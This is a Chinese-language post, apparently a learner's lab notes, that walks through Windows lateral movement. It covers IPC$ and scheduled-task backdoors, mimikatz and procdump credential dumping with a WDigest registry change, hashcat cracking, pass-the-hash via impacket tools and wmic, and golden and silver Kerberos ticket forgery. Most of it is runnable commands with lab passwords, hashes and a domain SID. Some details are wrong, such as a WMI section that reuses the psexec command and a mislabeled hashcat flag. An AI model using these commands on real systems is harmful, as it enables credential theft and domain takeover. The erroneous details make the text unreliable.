Windows连接命令
1)、windows远程连接
mstsc 远程桌面
vnc 远程桌面
ipc ipc$共享
2)、IPC利用条件:
1、开启了139、445端口
2、管理员开启了默认共享
3)、开启ipc共享
net share ipc$
常见端口
7 echo
21 ftp
22 ssh
23 telnet
53 dns
80 http
139 netbios
161 162 snmp
443 https
445 SMB
1433 mssql
1521 oracle
3306 mysql
3389 rdp
7001 weblogic
8080 tomcat burpsuite
IPC协议
1、常用widows连接与相关命令
建立ipc连接:
net use \\192.168.139.144\ipc$ "Zz2002510!" /user:administrator
查看连接状态:
net use
查看远程主机当前时间
net time \\192.168.139.144
dir \\192.168.139.144\c$
尽量使用administrator用户
执行命令
echo 'hello zzp' > \\192.168.139.144\c$\zzp.txt
之后去144主机上查看
查看远程主机进程运行情况
tasklist /s 192.168.139.144 有可能会校验本地用户的密码
这里为了验证,我们查询的是java代码审计的任务列表,我们选择everything的pid为8168,我们到java代码审计,确实查看的是8168
任务计划后门
编辑一个calc.bat文件
在我们win10把calc.bat文件复制过去
执行
copy calc.bat \\192.168.139.144\c$
在路径下执行命令否则这里需要写绝对路径
并查看是否复制成功
dir \\192.168.139.144\c$
在windows10上远程写入计划任务
schtasks /create /S 192.168.139.144 /tn "MyTask1" /tr "C:\calc.bat" /sc daily /st 11:33 /U:administrator
目标主机IP 任务名称 任务路径 运行周期 开始时间 尽量都加上/u要不然会有莫名其妙的报错
删除计划任务执行,痕迹清理
schtasks /delete /s 192.168.139.144 /tn "MyTask1" /f /U:administrator
Windows散列值获取
早期的登录系统的密码验证为按位计算比较
e.g.
我的密码为zzp
那么他会从a开始
a 返回11ms
b 11ms
.
.
.
z 10ms
这样就会知道第一位密码为z
继续比较第二位
za 11ms
.
.
.
zz 10ms
得到第二位会继续比较第三位
现在是直接比较ntlm hash值更加安全
LM HASH 已经被废弃了
LM Hash全名为LAN Manager Hash,本质是DES加密。
Getpass
win10显示操作成功但是,获取不到,报错为searchMemory NT6 ERROR (0x00000000),证明我们需要使用一个比较老的系统来进行实验
使用windows7进行实验
Mimikatz
从内存中读取
提升权限,进入调试模式才可以获取密码
privilege::debug
sekurlsa::logonpasswords 获取当前主机上登录的用户名以及密码
当目标为win10或2012R2以上时,默认在内存缓存中禁止保存明文密码,但可以通过修改注册表的方式抓取明文。
命令行执行
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
#重启或用户重新登录后可以成功抓取
重启电脑后重新抓取即可以明文方式抓取密码
如果mimikatz被杀
有两种方法
a) 免杀
b) 不在目标主机上直接使用
不在目标主机上使用
首先,在目标主机上使用注册表命令,导出SAM和SYSTEM
reg save HKLM\SYSTEM SYSTEM
reg save HKLM\SAM SAM
复制到我们的主机进行获取SAM中的密码HASH值
我们尽量复制到mimikatz目录下,可以避免我们使用命令是需要输入绝对路径
执行命令
lsadump::sam /sam:SAM /system:SYSTEM
lsa dump 从....导出
/sam:sam所在的文件名
/system:SYSTEM system模块指向的文件SYSTEM
执行完命令需要对比被导出的HASH NTLM哈希值进行对比
当我们获取到ntlm哈希值时,其实就已经和拿到密码差不多了,因为一般都是验证ntlm hash的值对的上对不上
如果注册表也导出不了,尝试使用白加黑
白加黑为:
白名单文件+黑dll(程序)
当mimikatz无法在主机上运行且导出不了注册表时,可以使用微软官方发布的工具Procdump导出lsass.exe
原理上来说,当修改注册表,明文密码会保存lsass.exe的内存中,如果不修改是不会保存在lsass.exe的内存中,只保存NTLM HASH
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
使用procdump64.exe 从 lsass.exe 程序中导出其内存中 保存到lsass.dmp文件中
复制到我们自己的主机执行mimikatz
执行命令
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
可以获得明文密码
HASHCAT
root@kali:~# hashcat -m 1000 -a 1 -o winpass.txt win.hash passwd.txt passwd.txt --force --show
-m 1000 代表指定爆破类型为ntlm
-a 0 (字段破解)
-o winpass.txt 输出结果到winpass.txt
win.hash 想要破解的hash值
passwd.txt 爆破的密码字典文件
--force 忽略破解过程中的警告信息,跑单条hash可能需要加上此选项
需要有两个文件进行拼接
哈希值传递攻击
PTH(哈希传递):该方法是通过找到与账户相关得密码散列值(通常是NTLMHash)来进行攻击,在域环境中,用户登录计算机时使用的大都是域账号,大量计算机在安装时会使用相同得本地管理员账号和密码,因此,如果计算机的本地管理员账号和密码也是相同的,攻击者就能使用哈希传递攻击的方法登录内网的其他计算机,同时通过哈希传递攻击,攻击者不需要花时间破解密码散列值(进而获取密码明文)
在windows网络中,散列值就是用来证明身份的(有正确的用户名和密码散列值,就能通过验证),而微软自己的产品和工具显然不会支持这种攻击,于是,攻击者往往会使用第三方工具来完成任务,在windows server 2012 r2及以后版本的操作系统中,默认在内存中不会记录明文密码,因此,攻击往往会使用工具将散列值传递到其他计算机中,进行权限验证,实现对远程计算的控制
什么是散列值:
当用户登录某网站时,如果该网站使用明文的方式保存用户的密码,那么一旦该网站出现安全漏洞,所有用户密码均会泄露,由此,产生了散列值的概念,散列加密算法一般为不可逆算法,当用户登录网站时,会先对用户输入的密码进行散列加密处理,再与数据库中存储的散列值进行对比,如果完全相同,则验证成功。
主流的windows系统通常会使用NTLM Hash对访问资源的用户进行身份验证,早期版本的windows系统,则使用LM Hash进行验证,但当密码大于位时,就无法使用LMHash了,从windows vista和windows server 2008开始,默认禁用LMHash。在使用NTLMHash进行身份认证时,不会使用明文口令,而是将明文口令通过系统API转换成散列值,不过通过获得密码散列值后,依旧可以使用哈希传递攻击来模拟用户进行认证,实现控制
哈希传递攻击分析
1. PTH的概念及渗透流程
2. 获取一台域内计算机的本地SYSTEM权限
3. Dump lsass中的用户Hash
4. 通过Pass The Hash尝试登陆域环境中其他计算机
5. 重复上面操作,继续收集用户hash
6. 只到获取到域管理员或企业管理员的账号hash,登录域控制器,进而控制整个域
pth
目标
抓取windows server 2012的hash值
使用mimikatz 进行pth攻击
windows2012
使用mimikatz获取密码的hash值
获取到的hash值
1cea9e78be5c55ae22eb2f6e60ee10a0
sekurlsa::pth /user:administrator /domain:zzp.com /ntlm:1cea9e78be5c55ae22eb2f6e60ee10a0
域名或IP
运行成功会弹出一个新的cmd
如果要执行命令
dir \\192.168.139.143\c$
Impacket
集成了很多好用的工具指令基本相似,使用起来很简单
在kali中执行
python3 -m pipx install impacket
来安装impacket
psexec组件
ntlmhash
cd 进入examples目录
执行python3 psexec.py
会给出指令提示
我们首先去windows server2012使用mimikatz获取域管密码的ntlmhash值
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords"> ./res_new.txt
这是我们大概率会用到的参数
kali执行命令
python3 psexec.py ZZP/Administrator@192.168.139.143 -hashes :1cea9e78be5c55ae22eb2f6e60ee10a0
要记得-hashes后面跟上空格以为需要给lmhash留个位置
如果使用hash则可以不用写 跟上hash值如果没有密码
[[domain/]username[:password]@]<targetName or address> [-hashes LMHASH:NTHASH]
域名 域管账号 目标名称 或 IP地址 一般写IP就好
password
当我们知道目标主机的密码时我们可以不使用ntlmhash值登录
python3 psexec.py ZZP/Administrator@192.168.139.143
由于我的密码带有特殊字符所以命令行会自动截断命令
所以我们先输入用户名,后面会让我们输入密码
WMI组件
WMI全名为(Windows Management Instrumention)。从windows98开始,windows操作系统都支持WMI。WMI是由一系列工具集组成的,可以在本地或者远程管理计算机系统。自PsExec在内网中被严格监控后,越来越多的反病毒厂商将PsExec加入黑名单,于是攻击者逐渐开始使用WMI进行横向移动。通过渗透测试发现,在使用wmiexec进行横向移动时,windows操作系统默认不会将WMI的操作记录在日志中,因为在这个过程不会产生日志,所以,对网络管理员来说增加了攻击溯源的成本,而对攻击者来说,起恶意行为被发现的可能性有所降低,隐蔽性有所提高。由此,越来越多的APT开始使用WMI进行攻击
1、基本命令
a) 在命令环境输入命令:
wmic /node:192.168.139.143 /user:Administrator /password:Zz2002510! Process call create "cmd.exe /c ipconfig > c:\ip.txt"
命令解释:
使用 wmic 去连接192.168.139.143主机 其中用户名为Administrator 密码 验证成功后 动态的去新建进程 以cmd执行 ipconfig 并将结果写入到C:\ip.txt文件
b)建立好ipc连接后,使用type读取执行结果:type \\192.168.139.143\c$\ip.txt
需要注意,这个和psexec不同,我们使用的不是system权限,而是目标主机登录什么身份我们就是什么身份
且自动建立ipc连接
ntlmhash
wmi也在impacket进行了整合,和psexec组件命令差不多
python3 psexec.py ZZP/Administrator@192.168.139.143 -hashes :1cea9e78be5c55ae22eb2f6e60ee10a0
password
python3 psexec.py ZZP/Administrator@192.168.139.143
由于我的密码带有特殊字符所以命令行会自动截断命令
所以我们先输入用户名,后面会让我们输入密码
PsExec
PsExec包含在PsTool工具包中,通过PsExec,可以在远程计算机上执行命令,也可以将管理员权限提升到system以运行指定程序, PsExec的基本原理是:通过管道在远程目标机器上创建一个psexec服务,并在本地磁盘中生成一个名为“PSEXECSVC”的二进制文件,然后,通过psexec服务运行命令,运行结束后删除服务。
首先获取目标操作系统的交互式shell。
1)在建立ipc连接情况下,执行如下命令,获取system权限的shell。PsExec.exe -accepteula \\192.168.150.12 -s cmd.exe //system权限如果不使用“-s”参数,则获取的权限为当前登录账号权限。
2)如果没有建立ipc连接, PsExec有两个参数可以通过指定账号和密码进行远程连接,命令如下:
PsExec.exe -accepteula \\192.168.150.12 -u administrator -p zzs@123! -s cmd.exe执行以下命令,使用PsExec在远程计算机上进行回显
PsExec.exe -accepteula \\192.168.150.12 -u administrator -p zzs@123! -s cmd.exe/c"ipconfig"
使用PsTools时,需要注意以下几点
A. 需要远程系统开启admin$共享(默认开启)
B. 使用ipc$连接目标系统后,不需要输入账号密码
C. 在使用PsTools执行命令时,会在目标系统创建一个psexec服务。命令执行后,psexec服务将自动删除,由于创建或删除服务时会产生大量日志,可以在攻击溯源时通过日志反推攻击流程。
D. 使用PsTools可以直接获得system权限的交互式shell
实验
实验一
首先尝试在自己本地执行这个命令
PsExec.exe -accepteula \\192.168.139.128 -s cmd.exe
发现提权为system
实验二
获取windows2012的IP
在windows10执行命令
PsExec.exe -accepteula \\192.168.139.143 -u administrator -p Zz2002510! -s cmd.exe
要带上用户名密码
SmbExec
server message box 服务器消息块
实验
实验一(ntlmhash)
执行命令获取administrator的ntlmhash值
administrator:1cea9e78be5c55ae22eb2f6e60ee10a0
kali打开smbexec脚本
可以看出来这个命令和之前的impacket的工具都差不多
kali执行
python3 smbexec.py ZZP/Administrator@192.168.139.143 -hashes :1cea9e78be5c55ae22eb2f6e60ee10a0
实验二(password连接)
kali和ntlmhash一样
执行
python3 smbexec.py ZZP/Administrator@192.168.139.143
后面会让你输入密码
DCOM
实验
实验一(password)
kali中执行
python3 dcomexec.py ZZP/Administrator@192.168.139.143
输入密码
注意你的权限会提升为域管
实验二(ntlmhash)
kali执行
python3 dcomexec.py ZZP/Administrator@192.168.139.143 -hashes :1cea9e78be5c55ae22eb2f6e60ee10a0
powershell方式
首先在powershell查看版本
执行
$host
3.0及以上在powershell中运行命令:
Get-Ciminstance win32_DCOMApplication
2.0则运行命令:
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_DCOMApplication
在powershell中执行
Get-Ciminstance win32_DCOMApplication
列出哪些应用使用了DCOM组件
之后继续在powershell中
执行
1) 创建DCOM类型的对象
$com =[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1"))
a) 先打开一个命令行终端
b) 使用命令行终端打开 calc
c) 将命令行终端最小化
$com.Document.ActiveView.ExecuteShellCommand("cmd.exe",$null,"/ccalc.exe","minimzed")
使用创建好的dcom组件去执行命令 该命令使用cmd打开计算器 并将cmd进行最小化隐藏
隐藏后的cmd可以通过杀死进程或任务管理器关闭
执行完可以看出来有一个cmd弹出并隐藏了
Atexec
在kali中执行
python3 atexec.py ZZP/Administrator@192.168.139.143 whoami -hashes :1cea9e78be5c55ae22eb2f6e60ee10a0
注意因为at返回不了一个命令行,所以我们直接在执行的命令中添加我们要执行的命令
Kerberos协议
这一张图可以完美解释Kerberos协议
负责认证用户是否有权限向某项服务发起请求
名词解释
client 客户
domain controller 域控制器
kdc = as + tgs
kdc key distrubiton center 密钥分发中心
as authentication service 认证服务中心
tgs ticket granting service 票据授予服务中心
简单流程
逐一解释图(1)假设域内主机一个用户lcx想访问域内某服务器server中的某服务
圈1 (AS-REQ):client发送用户信息到KDC,向AS请求TGT票据
圈2(AS-REP):KDC收到请求,看看client是否在AD的白名单中,在的话,AS生成随机Session Key,并用用户的NTLM HASH对Session Key 加密得到密文A,再用krbtgt的NTLM HASH 对Session Key、客户端信息Client Info、客户端时间戳timestamp加密得到TGT,并将A 和 TGT一起返回客户端client (这里是TGT)
圈3(TGS-REQ):client收到请求,用自身的NTLM HASH 解密 密文A 得到Session Key,再用Session Key加密Client Info与timestamp 得到密文B , 把密文B 和 TGT一起发给KDC 给TGS
圈4(TGS-REP):TGS 用krbtgt的NTLM HASH 解密TGT ,得到Session Key和timestamp和Client Info。再用这个由TGT解密出来的Session Key解密密文B得到timestamp与Client Info。 两相对比是否一致。如果一致,TGS生成新的随机 Session Key,叫它Session Key2 吧,用它加密timestamp和Client Info得到密文Enc。再用服务端server的NTLM HASH对Session Key2和timestamp和Client Info加密得到ticket,返回给客户端client (这里是ST)
圈5(AP-REQ):客户端client把ticket和Enc向服务端server发送,请求服务
圈6(AP-REP):服务端server用自己的NTLM HASH 对ticket进行解密得到Session Key2和timestamp和Client Info,再用解密出来的Session Key2解密密文Enc,得到timestamp和Client Info,进行信息校验,成功授权访
AS 认证服务 判断你想要登录的用户是否在DC主机的AD中
如果在 AS 返回客户端TGT 用户凭据
用户携带TGT+ntlm hash加密的字符串 前往TGS
TGA 从AD中取得对应用户得ntlm 值 尝试对加密字符串进行解密
解密之后得内容 如果通过验证
此时TGS 会返回client一个ST server ticket 你具体想要访问得服务得票据
用户携带ST再去访问真正想要访问得服务
tgt AS颁发得 client交给TGS ST是由TGS颁发得 client交给真正访问得服务
tgt(黄金票据) st(白银票据)
1、客户端向 密钥分发中心KDC 中的 认证服务器AS进行请求,AS接收到请求后响应客户端并且返回一张票据TGT(此处是伪造黄金票据的位置)
2、客户端拿着认证服务器AS返回的票据TGT再次向密钥分发中心KDC 中的 票据授予服务器TGS请求,TGS收到请求后响应客户端并且返回一张票据ST(此处是伪造白银票据的位置)
3、客户端拿着票据授予服务器TGS返回的票据ST向服务端发起请求,服务端接收到请求后响应客户端,如若成功则完成整套Kerberos认证流程否则中断失败
黄金票据TGT
伪造黄金票据的前提条件
1) 域的sid(输入whoami /all 获取SID S-1-5-21-3159605089-145188794-3567602335-500)(后面的-500不要因为这是成员的sid)
2) 想要伪造的域用户(administrator)
3) krbtgt 的ntlm hash值(在mimkatz中执行: lsadump::dcsync /domain:zzp.com /user:krbtgt)(faec3220102c733d00b0c0cca0286db5)
4) 域的名称(zzp.com)
流程:
取得域成员主机webshell
提权,最少也得本地管理员
尝试使用mimikatz抓hash,运气好有域管hash(没有就得换方法)
利用pth攻击,登录DC(也可以直接开启3389或ssh端口),mimikatz导出krbtgt;
开始伪造
可以在能连上的域的主机执行以下命令,来生成域管的凭据,但是需要的就是之前的三点
klist 代表当前主机上存在哪些凭据
klist purge 删除存在的票据
使用mimikatz生成黄金票据
kerberos::golden /admin:Administrator /domain:zzp.com /sid:S-1-5-21-3159605089-145188794-3567602335 /krbtgt:faec3220102c733d00b0c0cca0286db5 /ticket:Administrator.kiribi(生成凭据的名称可以自定义)
会在当前目录下生成凭据
导入生成的票据
kerberos::ptt Administrator.kiribi
exit退出mimikatz,
然后输入klist 查看缓存的票证
执行:(DC 计算机名,不能跟ip)
首先我执行net time /domain获取DC的名称
\\WIN-DKVHOTP6J0N.zzp.com
dir \\WIN-DKVHOTP6J0N.zzp.com\c$ 查看C盘内容
net use \\WIN-DKVHOTP6J0N.zzp.com\ipc$ IPC连接
net use 产看IPC连接
```
### 白银票据
#### 伪造白银票据的前提条件
1) 域名 (zzp.com)
2) 域的sid (输入whoami /all 获取SID S-1-5-21-3159605089-145188794-3567602335-500)(后面的-500不要因为这是成员的sid)
3) server 的服务器账户的ntlm hash值(bbf12aaadee372d3b389849b5b286fe0 一般主机名后面有$的即为这台电脑的server服务器 需要为DC的hash)
4) 想要伪造的用户名(随便用户名,因为服务器端不做验证)
白银票据偏向某一个具体的服务
#### 开始伪造
在域内其他设备上伪造共享服务cifs:
kerberos::purge 清除票据缓存
kerberos::golden /domain:zzp.com /sid:S-1-5-21-3159605089-145188794-3567602335 /target:DC.zzp.com /service:cifs /rc4:bbf12aaadee372d3b389849b5b286fe0 /user:administrator /ptt
名词解读
- /domain:域名
- /sid:SID值
- /target: 目标计算机全名
- /service: 需要指定相关的服务名,如cifs
- /rc4: 域控的计算机(DC$)ntlm hash
- /user: 要伪造的用户名,任意填写
注意不用导入凭据,自动加载
#### 验证
exit退出mimikatz
执行:(DC 计算机名,不能跟ip)
dir \WIN-DKVHOTP6J0N.zzp.com\c$ 查看C盘内容
net use \DC\ipc$ IPC连接
执行klist,查看票据(一般在当前命令行查看,不在当前目录很大概率是查看不到的)
```
Views: 11
Comments NOTHING